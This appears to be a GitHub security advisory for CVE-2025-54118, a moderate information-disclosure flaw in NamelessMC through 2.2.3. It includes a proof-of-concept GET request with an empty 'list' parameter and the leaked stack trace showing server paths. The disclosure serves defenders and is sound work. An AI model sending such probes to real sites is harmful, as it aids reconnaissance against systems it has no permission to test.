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Sensitive information disclosure in member list component

Moderate
samerton published GHSA-cj37-8jqc-hv2w Aug 16, 2025

Package

NamelessMC

Affected versions

<= 2.2.3

Patched versions

2.2.4

Description

Summary

Sensitive information disclosure in NamelessMC before 2.2.3 allows unauthenticated remote attacker to gain sensitive information such as absolute path of the source code via list parameter.

Details

The server does not properly handle application error which leads to a disclosure of information about the server. An unauthenticated user is able craft specific requests in order to make the application generate an error. Inside an error message, some information about the server is revealed, such as the absolute path of the source code of the application. This kind of information can help an attacker to perform other attacks against the system. This can be exploited without authentication.

PoC

In order to generate an error with sensitive informations:

  1. Send the following HTTP request:
GET /nameless/queries/member_list/?list=&page=1&overview=false HTTP/1.1
Host: [REDACTED]
(...)
  1. Server returns sensitive information:
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
(...)

Member list '' does not exist in /var/www/91.99.136.120/nameless/modules/Members/classes/MemberListManager.php on line 86
#0 /var/www/91.99.136.120/nameless/modules/Members/queries/member_list.php(22): MemberListManager->getList()
#1 /var/www/91.99.136.120/nameless/index.php(122): require('...')
#2 {main}

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2025-54118

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Credits